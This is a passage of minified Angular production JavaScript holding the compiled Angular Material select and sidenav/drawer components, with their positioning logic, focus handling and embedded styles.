Et{constructor(){super(...arguments),this._scrollTop=0,this._triggerFontSize=0,this._transformOrigin="top",this._offsetY=0,this._positions=[{originX:"start",originY:"top",overlayX:"start",overlayY:"top"},{originX:"start",originY:"bottom",overlayX:"start",overlayY:"bottom"}]}_calculateOverlayScroll(x,m,b){const B=this._getItemHeight();return Math.min(Math.max(0,B*x-m+B/2),b)}ngOnInit(){super.ngOnInit(),this._viewportRuler.change().pipe((0,se.R)(this._destroy)).subscribe(()=>{this.panelOpen&&(this._triggerRect=this.trigger.nativeElement.getBoundingClientRect(),this._changeDetectorRef.markForCheck())})}open(){super._canOpen()&&(super.open(),this._triggerRect=this.trigger.nativeElement.getBoundingClientRect(),this._triggerFontSize=parseInt(getComputedStyle(this.trigger.nativeElement).fontSize||"0"),this._calculateOverlayPosition(),this._ngZone.onStable.pipe((0,oe.q)(1)).subscribe(()=>{this._triggerFontSize&&this._overlayDir.overlayRef&&this._overlayDir.overlayRef.overlayElement&&(this._overlayDir.overlayRef.overlayElement.style.fontSize=`${this._triggerFontSize}px`)}))}_scrollOptionIntoView(x){const m=(0,u.CB)(x,this.options,this.optionGroups),b=this._getItemHeight();this.panel.nativeElement.scrollTop=0===x&&1===m?0:(0,u.jH)((x+m)*b,b,this.panel.nativeElement.scrollTop,256)}_positioningSettled(){this._calculateOverlayOffsetX(),this.panel.nativeElement.scrollTop=this._scrollTop}_panelDoneAnimating(x){this.panelOpen?this._scrollTop=0:(this._overlayDir.offsetX=0,this._changeDetectorRef.markForCheck()),super._panelDoneAnimating(x)}_getChangeEvent(x){return new X(this,x)}_calculateOverlayOffsetX(){const x=this._overlayDir.overlayRef.overlayElement.getBoundingClientRect(),m=this._viewportRuler.getViewportSize(),b=this._isRtl(),B=this.multiple?56:32;let ie;if(this.multiple)ie=40;else if(this.disableOptionCentering)ie=16;else{let wt=this._selectionModel.selected[0]||this.options.first;ie=wt&&wt.group?32:16}b||(ie*=-1);const Xe=0-(x.left+ie-(b?B:0)),it=x.right+ie-m.width+(b?0:B);Xe>0?ie+=Xe+8:it>0&&(ie-=it+8),this._overlayDir.offsetX=Math.round(ie),this._overlayDir.overlayRef.updatePosition()}_calculateOverlayOffsetY(x,m,b){const B=this._getItemHeight(),ie=(B-this._triggerRect.height)/2,Xe=Math.floor(256/B);let it;return this.disableOptionCentering?0:(it=0===this._scrollTop?x*B:this._scrollTop===b?(x-(this._getItemCount()-Xe))*B+(B-(this._getItemCount()*B-256)%B):m-B/2,Math.round(-1*it-ie))}_checkOverlayWithinViewport(x){const m=this._getItemHeight(),b=this._viewportRuler.getViewportSize(),B=this._triggerRect.top-8,ie=b.height-this._triggerRect.bottom-8,Xe=Math.abs(this._offsetY),wt=Math.min(this._getItemCount()*m,256)-Xe-this._triggerRect.height;wt>ie?this._adjustPanelUp(wt,ie):Xe>B?this._adjustPanelDown(Xe,B,x):this._transformOrigin=this._getOriginBasedOnOption()}_adjustPanelUp(x,m){const b=Math.round(x-m);this._scrollTop-=b,this._offsetY-=b,this._transformOrigin=this._getOriginBasedOnOption(),this._scrollTop<=0&&(this._scrollTop=0,this._offsetY=0,this._transformOrigin="50% bottom 0px")}_adjustPanelDown(x,m,b){const B=Math.round(x-m);if(this._scrollTop+=B,this._offsetY+=B,this._transformOrigin=this._getOriginBasedOnOption(),this._scrollTop>=b)return this._scrollTop=b,this._offsetY=0,void(this._transformOrigin="50% top 0px")}_calculateOverlayPosition(){const x=this._getItemHeight(),m=this._getItemCount(),b=Math.min(m*x,256),ie=m*x-b;let Xe;Xe=this.empty?0:Math.max(this.options.toArray().indexOf(this._selectionModel.selected[0]),0),Xe+=(0,u.CB)(Xe,this.options,this.optionGroups);const it=b/2;this._scrollTop=this._calculateOverlayScroll(Xe,it,ie),this._offsetY=this._calculateOverlayOffsetY(Xe,it,ie),this._checkOverlayWithinViewport(ie)}_getOriginBasedOnOption(){const x=this._getItemHeight(),m=(x-this._triggerRect.height)/2;return`50% ${Math.abs(this._offsetY)-m+x/2}px 0px`}_getItemHeight(){return 3*this._triggerFontSize}_getItemCount(){return this.options.length+this.optionGroups.length}}return Ie.\\u0275fac=function(){let te;return function(m){return(te||(te=s.n5z(Ie)))(m||Ie)}}(),Ie.\\u0275cmp=s.Xpm({type:Ie,selectors:[["mat-select"]],contentQueries:function(x,m,b){if(1&x&&(s.Suo(b,ct,5),s.Suo(b,u.ey,5),s.Suo(b,u.K7,5)),2&x){let B;s.iGM(B=s.CRH())&&(m.customTrigger=B.first),s.iGM(B=s.CRH())&&(m.options=B),s.iGM(B=s.CRH())&&(m.optionGroups=B)}},hostAttrs:["role","combobox","aria-autocomplete","none","aria-haspopup","true",1,"mat-select"],hostVars:19,hostBindings:function(x,m){1&x&&s.NdJ("keydown",function(B){return m._handleKeydown(B)})("focus",function(){return m._onFocus()})("blur",function(){return m._onBlur()}),2&x&&(s.uIk("id",m.id)("tabindex",m.tabIndex)("aria-controls",m.panelOpen?m.id+"-panel":null)("aria-expanded",m.panelOpen)("aria-label",m.ariaLabel||null)("aria-required",m.required.toString())("aria-disabled",m.disabled.toString())("aria-invalid",m.errorState)("aria-activedescendant",m._getAriaActiveDescendant()),s.ekj("mat-select-disabled",m.disabled)("mat-select-invalid",m.errorState)("mat-select-required",m.required)("mat-select-empty",m.empty)("mat-select-multiple",m.multiple))},inputs:{disabled:"disabled",disableRipple:"disableRipple",tabIndex:"tabIndex"},exportAs:["matSelect"],features:[s._Bn([{provide:c.Eo,useExisting:Ie},{provide:u.HF,useExisting:Ie}]),s.qOj],ngContentSelectors:Ye,decls:9,vars:12,consts:[["cdk-overlay-origin","",1,"mat-select-trigger",3,"click"],["origin","cdkOverlayOrigin","trigger",""],[1,"mat-select-value",3,"ngSwitch"],["class","mat-select-placeholder mat-select-min-line",4,"ngSwitchCase"],["class","mat-select-value-text",3,"ngSwitch",4,"ngSwitchCase"],[1,"mat-select-arrow-wrapper"],[1,"mat-select-arrow"],["cdk-connected-overlay","","cdkConnectedOverlayLockPosition","","cdkConnectedOverlayHasBackdrop","","cdkConnectedOverlayBackdropClass","cdk-overlay-transparent-backdrop",3,"cdkConnectedOverlayPanelClass","cdkConnectedOverlayScrollStrategy","cdkConnectedOverlayOrigin","cdkConnectedOverlayOpen","cdkConnectedOverlayPositions","cdkConnectedOverlayMinWidth","cdkConnectedOverlayOffsetY","backdropClick","attach","detach"],[1,"mat-select-placeholder","mat-select-min-line"],[1,"mat-select-value-text",3,"ngSwitch"],["class","mat-select-min-line",4,"ngSwitchDefault"],[4,"ngSwitchCase"],[1,"mat-select-min-line"],[1,"mat-select-panel-wrap"],["role","listbox","tabindex","-1",3,"ngClass","keydown"],["panel",""]],template:function(x,m){if(1&x&&(s.F$t(Qe),s.TgZ(0,"div",0,1),s.NdJ("click",function(){return m.toggle()}),s.TgZ(3,"div",2),s.YNc(4,ce,2,1,"span",3),s.YNc(5,le,3,2,"span",4),s.qZA(),s.TgZ(6,"div",5),s._UZ(7,"div",6),s.qZA()(),s.YNc(8,Oe,4,14,"ng-template",7),s.NdJ("backdropClick",function(){return m.close()})("attach",function(){return m._onAttached()})("detach",function(){return m.close()})),2&x){const b=s.MAs(1);s.uIk("aria-owns",m.panelOpen?m.id+"-panel":null),s.xp6(3),s.Q6J("ngSwitch",m.empty),s.uIk("id",m._valueId),s.xp6(1),s.Q6J("ngSwitchCase",!0),s.xp6(1),s.Q6J("ngSwitchCase",!1),s.xp6(3),s.Q6J("cdkConnectedOverlayPanelClass",m._overlayPanelClass)("cdkConnectedOverlayScrollStrategy",m._scrollStrategy)("cdkConnectedOverlayOrigin",b)("cdkConnectedOverlayOpen",m.panelOpen)("cdkConnectedOverlayPositions",m._positions)("cdkConnectedOverlayMinWidth",null==m._triggerRect?null:m._triggerRect.width)("cdkConnectedOverlayOffsetY",m._offsetY)}},dependencies:[a.mk,a.RF,a.n9,a.ED,n.pI,n.xu],styles:[\'.mat-select{display:inline-block;width:100%;outline:none}.mat-select-trigger{display:inline-flex;align-items:center;cursor:pointer;position:relative;box-sizing:border-box;width:100%}.mat-select-disabled .mat-select-trigger{-webkit-user-select:none;user-select:none;cursor:default}.mat-select-value{width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mat-select-value-text{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-select-arrow-wrapper{height:16px;flex-shrink:0;display:inline-flex;align-items:center}.mat-form-field-appearance-fill .mat-select-arrow-wrapper{transform:translateY(-50%)}.mat-form-field-appearance-outline .mat-select-arrow-wrapper{transform:translateY(-25%)}.mat-form-field-appearance-standard.mat-form-field-has-label .mat-select:not(.mat-select-empty) .mat-select-arrow-wrapper{transform:translateY(-50%)}.mat-form-field-appearance-standard .mat-select.mat-select-empty .mat-select-arrow-wrapper{transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}._mat-animation-noopable.mat-form-field-appearance-standard .mat-select.mat-select-empty .mat-select-arrow-wrapper{transition:none}.mat-select-arrow{width:0;height:0;border-left:5px solid rgba(0,0,0,0);border-right:5px solid rgba(0,0,0,0);border-top:5px solid;margin:0 4px}.mat-form-field.mat-focused .mat-select-arrow{transform:translateX(0)}.mat-select-panel-wrap{flex-basis:100%}.mat-select-panel{min-width:112px;max-width:280px;overflow:auto;-webkit-overflow-scrolling:touch;padding-top:0;padding-bottom:0;max-height:256px;min-width:100%;border-radius:4px;outline:0}.cdk-high-contrast-active .mat-select-panel{outline:solid 1px}.mat-select-panel .mat-optgroup-label,.mat-select-panel .mat-option{font-size:inherit;line-height:3em;height:3em}.mat-form-field-type-mat-select:not(.mat-form-field-disabled) .mat-form-field-flex{cursor:pointer}.mat-form-field-type-mat-select .mat-form-field-label{width:calc(100% - 18px)}.mat-select-placeholder{transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}._mat-animation-noopable .mat-select-placeholder{transition:none}.mat-form-field-hide-placeholder .mat-select-placeholder{color:rgba(0,0,0,0);-webkit-text-fill-color:rgba(0,0,0,0);transition:none;display:block}.mat-select-min-line:empty::before{content:" ";white-space:pre;width:1px;display:inline-block;visibility:hidden}\'],encapsulation:2,data:{animation:[qe.transformPanelWrap,qe.transformPanel]},changeDetection:0}),Ie})(),Pt=(()=>{class Ie{}return Ie.\\u0275fac=function(x){return new(x||Ie)},Ie.\\u0275mod=s.oAB({type:Ie}),Ie.\\u0275inj=s.cJS({providers:[R],imports:[a.ez,n.U8,u.Ng,u.BQ,f.ZD,c.lN,u.Ng,u.BQ]}),Ie})()},3267:(At,ae,d)=>{"use strict";d.d(ae,{JX:()=>xt,Rh:()=>We,SJ:()=>pe,TM:()=>Be});var n=d(7261),a=d(6895),s=d(4650),u=d(3238),c=d(2687),f=d(445),E=d(1281),_=d(9521),S=d(3353),g=d(8929),C=d(3753),z=d(6787),H=d(2198),j=d(4850),U=d(7604),G=d(7625),Q=d(5778),oe=d(2986),Ce=d(1059),k=d(13),K=d(7340);const se=["*"],ee=["content"];function q(P,w){if(1&P){const R=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){s.CHM(R);const _e=s.oxw();return s.KtG(_e._onBackdropClicked())}),s.qZA()}if(2&P){const R=s.oxw();s.ekj("mat-drawer-shown",R._isShowingBackdrop())}}function we(P,w){1&P&&(s.TgZ(0,"mat-drawer-content"),s.Hsn(1,2),s.qZA())}const ce=[[["mat-drawer"]],[["mat-drawer-content"]],"*"],je=["mat-drawer","mat-drawer-content","*"];function Ze(P,w){if(1&P){const R=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){s.CHM(R);const _e=s.oxw();return s.KtG(_e._onBackdropClicked())}),s.qZA()}if(2&P){const R=s.oxw();s.ekj("mat-drawer-shown",R._isShowingBackdrop())}}function le(P,w){1&P&&(s.TgZ(0,"mat-sidenav-content"),s.Hsn(1,2),s.qZA())}const Oe=[[["mat-sidenav"]],[["mat-sidenav-content"]],"*"],Qe=["mat-sidenav","mat-sidenav-content","*"],qe={transformDrawer:(0,K.X$)("transform",[(0,K.SB)("open, open-instant",(0,K.oB)({transform:"none",visibility:"visible"})),(0,K.SB)("void",(0,K.oB)({"box-shadow":"none",visibility:"hidden"})),(0,K.eR)("void => open-instant",(0,K.jt)("0ms")),(0,K.eR)("void <=> open, open-instant => void",(0,K.jt)("400ms cubic-bezier(0.25, 0.8, 0.25, 1)"))])},dt=new s.OlP("MAT_DRAWER_DEFAULT_AUTOSIZE",{providedIn:"root",factory:function ze(){return!1}}),bt=new s.OlP("MAT_DRAWER_CONTAINER");let De=(()=>{class P extends n.PQ{constructor(R,X,_e,ct,Je){super(_e,ct,Je),this._changeDetectorRef=R,this._container=X}ngAfterContentInit(){this._container._contentMarginChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>ve)),s.Y36(s.SBq),s.Y36(n.mF),s.Y36(s.R0b))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer-content"]],hostAttrs:[1,"mat-drawer-content"],hostVars:4,hostBindings:function(R,X){2&R&&s.Udp("margin-left",X._container._contentMargins.left,"px")("margin-right",X._container._contentMargins.right,"px")},features:[s._Bn([{provide:n.PQ,useExisting:P}]),s.qOj],ngContentSelectors:se,decls:1,vars:0,template:function(R,X){1&R&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),P})(),re=(()=>{class P{constructor(R,X,_e,ct,Je,Et,Dt,Pt){this._elementRef=R,this._focusTrapFactory=X,this._focusMonitor=_e,this._platform=ct,this._ngZone=Je,this._interactivityChecker=Et,this._doc=Dt,this._container=Pt,this._elementFocusedBeforeDrawerWasOpened=null,this._enableAnimations=!1,this._position="start",this._mode="over",this._disableClose=!1,this._opened=!1,this._animationStarted=new g.xQ,this._animationEnd=new g.xQ,this._animationState="void",this.openedChange=new s.vpe(!0),this._openedStream=this.openedChange.pipe((0,H.h)(Ie=>Ie),(0,j.U)(()=>{})),this.openedStart=this._animationStarted.pipe((0,H.h)(Ie=>Ie.fromState!==Ie.toState&&0===Ie.toState.indexOf("open")),(0,U.h)(void 0)),this._closedStream=this.openedChange.pipe((0,H.h)(Ie=>!Ie),(0,j.U)(()=>{})),this.closedStart=this._animationStarted.pipe((0,H.h)(Ie=>Ie.fromState!==Ie.toState&&"void"===Ie.toState),(0,U.h)(void 0)),this._destroyed=new g.xQ,this.onPositionChanged=new s.vpe,this._modeChanged=new g.xQ,this.openedChange.subscribe(Ie=>{Ie?(this._doc&&(this._elementFocusedBeforeDrawerWasOpened=this._doc.activeElement),this._takeFocus()):this._isFocusWithinDrawer()&&this._restoreFocus(this._openedVia||"program")}),this._ngZone.runOutsideAngular(()=>{(0,C.R)(this._elementRef.nativeElement,"keydown").pipe((0,H.h)(Ie=>Ie.keyCode===_.hY&&!this.disableClose&&!(0,_.Vb)(Ie)),(0,G.R)(this._destroyed)).subscribe(Ie=>this._ngZone.run(()=>{this.close(),Ie.stopPropagation(),Ie.preventDefault()}))}),this._animationEnd.pipe((0,Q.x)((Ie,te)=>Ie.fromState===te.fromState&&Ie.toState===te.toState)).subscribe(Ie=>{const{fromState:te,toState:x}=Ie;(0===x.indexOf("open")&&"void"===te||"void"===x&&0===te.indexOf("open"))&&this.openedChange.emit(this._opened)})}get position(){return this._position}set position(R){(R="end"===R?"end":"start")!==this._position&&(this._isAttached&&this._updatePositionInParent(R),this._position=R,this.onPositionChanged.emit())}get mode(){return this._mode}set mode(R){this._mode=R,this._updateFocusTrapState(),this._modeChanged.next()}get disableClose(){return this._disableClose}set disableClose(R){this._disableClose=(0,E.Ig)(R)}get autoFocus(){return this._autoFocus??("side"===this.mode?"dialog":"first-tabbable")}set autoFocus(R){("true"===R||"false"===R||null==R)&&(R=(0,E.Ig)(R)),this._autoFocus=R}get opened(){return this._opened}set opened(R){this.toggle((0,E.Ig)(R))}_forceFocus(R,X){this._interactivityChecker.isFocusable(R)||(R.tabIndex=-1,this._ngZone.runOutsideAngular(()=>{const _e=()=>{R.removeEventListener("blur",_e),R.removeEventListener("mousedown",_e),R.removeAttribute("tabindex")};R.addEventListener("blur",_e),R.addEventListener("mousedown",_e)})),R.focus(X)}_focusByCssSelector(R,X){let _e=this._elementRef.nativeElement.querySelector(R);_e&&this._forceFocus(_e,X)}_takeFocus(){if(!this._focusTrap)return;const R=this._elementRef.nativeElement;switch(this.autoFocus){case!1:case"dialog":return;case!0:case"first-tabbable":this._focusTrap.focusInitialElementWhenReady().then(X=>{!X&&"function"==typeof this._elementRef.nativeElement.focus&&R.focus()});break;case"first-heading":this._focusByCssSelector(\'h1, h2, h3, h4, h5, h6, [role="heading"]\');break;default:this._focusByCssSelector(this.autoFocus)}}_restoreFocus(R){"dialog"!==this.autoFocus&&(this._elementFocusedBeforeDrawerWasOpened?this._focusMonitor.focusVia(this._elementFocusedBeforeDrawerWasOpened,R):this._elementRef.nativeElement.blur(),this._elementFocusedBeforeDrawerWasOpened=null)}_isFocusWithinDrawer(){const R=this._doc.activeElement;return!!R&&this._elementRef.nativeElement.contains(R)}ngAfterViewInit(){this._isAttached=!0,this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._updateFocusTrapState(),"end"===this._position&&this._updatePositionInParent("end")}ngAfterContentChecked(){this._platform.isBrowser&&(this._enableAnimations=!0)}ngOnDestroy(){this._focusTrap&&this._focusTrap.destroy(),this._anchor?.remove(),this._anchor=null,this._animationStarted.complete(),this._animationEnd.complete(),this._modeChanged.complete(),this._destroyed.next(),this._destroyed.complete()}open(R){return this.toggle(!0,R)}close(){return this.toggle(!1)}_closeViaBackdropClick(){return this._setOpen(!1,!0,"mouse")}toggle(R=!this.opened,X){R&&X&&(this._openedVia=X);const _e=this._setOpen(R,!R&&this._isFocusWithinDrawer(),this._openedVia||"program");return R||(this._openedVia=null),_e}_setOpen(R,X,_e){return this._opened=R,R?this._animationState=this._enableAnimations?"open":"open-instant":(this._animationState="void",X&&this._restoreFocus(_e)),this._updateFocusTrapState(),new Promise(ct=>{this.openedChange.pipe((0,oe.q)(1)).subscribe(Je=>ct(Je?"open":"close"))})}_getWidth(){return this._elementRef.nativeElement&&this._elementRef.nativeElement.offsetWidth||0}_updateFocusTrapState(){this._focusTrap&&(this._focusTrap.enabled=this.opened&&"side"!==this.mode)}_updatePositionInParent(R){const X=this._elementRef.nativeElement,_e=X.parentNode;"end"===R?(this._anchor||(this._anchor=this._doc.createComment("mat-drawer-anchor"),_e.insertBefore(this._anchor,X)),_e.appendChild(X)):this._anchor&&this._anchor.parentNode.insertBefore(X,this._anchor)}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.SBq),s.Y36(c.qV),s.Y36(c.tE),s.Y36(S.t4),s.Y36(s.R0b),s.Y36(c.ic),s.Y36(a.K0,8),s.Y36(bt,8))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer"]],viewQuery:function(R,X){if(1&R&&s.Gf(ee,5),2&R){let _e;s.iGM(_e=s.CRH())&&(X._content=_e.first)}},hostAttrs:["tabIndex","-1",1,"mat-drawer"],hostVars:12,hostBindings:function(R,X){1&R&&s.WFA("@transform.start",function(ct){return X._animationStarted.next(ct)})("@transform.done",function(ct){return X._animationEnd.next(ct)}),2&R&&(s.uIk("align",null),s.d8E("@transform",X._animationState),s.ekj("mat-drawer-end","end"===X.position)("mat-drawer-over","over"===X.mode)("mat-drawer-push","push"===X.mode)("mat-drawer-side","side"===X.mode)("mat-drawer-opened",X.opened))},inputs:{position:"position",mode:"mode",disableClose:"disableClose",autoFocus:"autoFocus",opened:"opened"},outputs:{openedChange:"openedChange",_openedStream:"opened",openedStart:"openedStart",_closedStream:"closed",closedStart:"closedStart",onPositionChanged:"positionChanged"},exportAs:["matDrawer"],ngContentSelectors:se,decls:3,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"],["content",""]],template:function(R,X){1&R&&(s.F$t(),s.TgZ(0,"div",0,1),s.Hsn(2),s.qZA())},dependencies:[n.PQ],encapsulation:2,data:{animation:[qe.transformDrawer]},changeDetection:0}),P})(),ve=(()=>{class P{constructor(R,X,_e,ct,Je,Et=!1,Dt){this._dir=R,this._element=X,this._ngZone=_e,this._changeDetectorRef=ct,this._animationMode=Dt,this._drawers=new s.n_E,this.backdropClick=new s.vpe,this._destroyed=new g.xQ,this._doCheckSubject=new g.xQ,this._contentMargins={left:null,right:null},this._contentMarginChanges=new g.xQ,R&&R.change.pipe((0,G.R)(this._destroyed)).subscribe(()=>{this._validateDrawers(),this.updateContentMargins()}),Je.change().pipe((0,G.R)(this._destroyed)).subscribe(()=>this.updateContentMargins()),this._autosize=Et}get start(){return this._start}get end(){return this._end}get autosize(){return this._autosize}set autosize(R){this._autosize=(0,E.Ig)(R)}get hasBackdrop(){return null==this._backdropOverride?!this._start||"side"!==this._start.mode||!this._end||"side"!==this._end.mode:this._backdropOverride}set hasBackdrop(R){this._backdropOverride=null==R?null:(0,E.Ig)(R)}get scrollable(){return this._userContent||this._content}ngAfterContentInit(){this._allDrawers.changes.pipe((0,Ce.O)(this._allDrawers),(0,G.R)(this._destroyed)).subscribe(R=>{this._drawers.reset(R.filter(X=>!X._container||X._container===this)),this._drawers.notifyOnChanges()}),this._drawers.changes.pipe((0,Ce.O)(null)).subscribe(()=>{this._validateDrawers(),this._drawers.forEach(R=>{this._watchDrawerToggle(R),this._watchDrawerPosition(R),this._watchDrawerMode(R)}),(!this._drawers.length||this._isDrawerOpen(this._start)||this._isDrawerOpen(this._end))&&this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),this._ngZone.runOutsideAngular(()=>{this._doCheckSubject.pipe((0,k.b)(10),(0,G.R)(this._destroyed)).subscribe(()=>this.updateContentMargins())})}ngOnDestroy(){this._contentMarginChanges.complete(),this._doCheckSubject.complete(),this._drawers.destroy(),this._destroyed.next(),this._destroyed.complete()}open(){this._drawers.forEach(R=>R.open())}close(){this._drawers.forEach(R=>R.close())}updateContentMargins(){let R=0,X=0;if(this._left&&this._left.opened)if("side"==this._left.mode)R+=this._left._getWidth();else if("push"==this._left.mode){const _e=this._left._getWidth();R+=_e,X-=_e}if(this._right&&this._right.opened)if("side"==this._right.mode)X+=this._right._getWidth();else if("push"==this._right.mode){const _e=this._right._getWidth();X+=_e,R-=_e}R=R||null,X=X||null,(R!==this._contentMargins.left||X!==this._contentMargins.right)&&(this._contentMargins={left:R,right:X},this._ngZone.run(()=>this._contentMarginChanges.next(this._contentMargins)))}ngDoCheck(){this._autosize&&this._isPushed()&&this._ngZone.runOutsideAngular(()=>this._doCheckSubject.next())}_watchDrawerToggle(R){R._animationStarted.pipe((0,H.h)(X=>X.fromState!==X.toState),(0,G.R)(this._drawers.changes)).subscribe(X=>{"open-instant"!==X.toState&&"NoopAnimations"!==this._animationMode&&this._element.nativeElement.classList.add("mat-drawer-transition"),this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),"side"!==R.mode&&R.openedChange.pipe((0,G.R)(this._drawers.changes)).subscribe(()=>this._setContainerClass(R.opened))}_watchDrawerPosition(R){R&&R.onPositionChanged.pipe((0,G.R)(this._drawers.changes)).subscribe(()=>{this._ngZone.onMicrotaskEmpty.pipe((0,oe.q)(1)).subscribe(()=>{this._validateDrawers()})})}_watchDrawerMode(R){R&&R._modeChanged.pipe((0,G.R)((0,z.T)(this._drawers.changes,this._destroyed))).subscribe(()=>{this.updateContentMargins(),this._changeDetectorRef.markForCheck()})}_setContainerClass(R){const X=this._element.nativeElement.classList,_e="mat-drawer-container-has-open";R?X.add(_e):X.remove(_e)}_validateDrawers(){this._start=this._end=null,this._drawers.forEach(R=>{"end"==R.position?this._end=R:this._start=R}),this._right=this._left=null,this._dir&&"rtl"===this._dir.value?(this._left=this._end,this._right=this._start):(this._left=this._start,this._right=this._end)}_isPushed(){return this._isDrawerOpen(this._start)&&"over"!=this._start.mode||this._isDrawerOpen(this._end)&&"over"!=this._end.mode}_onBackdropClicked(){this.backdropClick.emit(),this._closeModalDrawersViaBackdrop()}_closeModalDrawersViaBackdrop(){[this._start,this._end].filter(R=>R&&!R.disableClose&&this._canHaveBackdrop(R)).forEach(R=>R._closeViaBackdropClick())}_isShowingBackdrop(){return this._isDrawerOpen(this._start)&&this._canHaveBackdrop(this._start)||this._isDrawerOpen(this._end)&&this._canHaveBackdrop(this._end)}_canHaveBackdrop(R){return"side"!==R.mode||!!this._backdropOverride}_isDrawerOpen(R){return null!=R&&R.opened}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(f.Is,8),s.Y36(s.SBq),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(n.rL),s.Y36(dt),s.Y36(s.QbO,8))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer-container"]],contentQueries:function(R,X,_e){if(1&R&&(s.Suo(_e,De,5),s.Suo(_e,re,5)),2&R){let ct;s.iGM(ct=s.CRH())&&(X._content=ct.first),s.iGM(ct=s.CRH())&&(X._allDrawers=ct)}},viewQuery:function(R,X){if(1&R&&s.Gf(De,5),2&R){let _e;s.iGM(_e=s.CRH())&&(X._userContent=_e.first)}},hostAttrs:[1,"mat-drawer-container"],hostVars:2,hostBindings:function(R,X){2&R&&s.ekj("mat-drawer-container-explicit-backdrop",X._backdropOverride)},inputs:{autosize:"autosize",hasBackdrop:"hasBackdrop"},outputs:{backdropClick:"backdropClick"},exportAs:["matDrawerContainer"],features:[s._Bn([{provide:bt,useExisting:P}])],ngContentSelectors:je,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(R,X){1&R&&(s.F$t(ce),s.YNc(0,q,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,we,2,0,"mat-drawer-content",1)),2&R&&(s.Q6J("ngIf",X.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!X._content))},dependencies:[a.O5,De],styles:[\'.mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer[style*="visibility: hidden"]{display:none}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\'],encapsulation:2,changeDetection:0}),P})(),We=(()=>{class P extends De{constructor(R,X,_e,ct,Je){super(R,X,_e,ct,Je)}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>Be)),s.Y36(s.SBq),s.Y36(n.mF),s.Y36(s.R0b))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav-content"]],hostAttrs:[1,"mat-drawer-content","mat-sidenav-content"],hostVars:4,hostBindings:function(R,X){2&R&&s.Udp("margin-left",X._container._contentMargins.left,"px")("margin-right",X._container._contentMargins.right,"px")},features:[s._Bn([{provide:n.PQ,useExisting:P}]),s.qOj],ngContentSelectors:se,decls:1,vars:0,template:function(R,X){1&R&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),P})(),xt=(()=>{class P extends re{constructor(){super(...arguments),this._fixedInViewport=!1,this._fixedTopGap=0,this._fixedBottomGap=0}get fixedInViewport(){return this._fixedInViewport}set fixedInViewport(R){this._fixedInViewport=(0,E.Ig)(R)}get fixedTopGap(){return this._fixedTopGap}set fixedTopGap(R){this._fixedTopGap=(0,E.su)(R)}get fixedBottomGap(){return this._fixedBottomGap}set fixedBottomGap(R){this._fixedBottomGap=(0,E.su)(R)}}return P.\\u0275fac=function(){let w;return 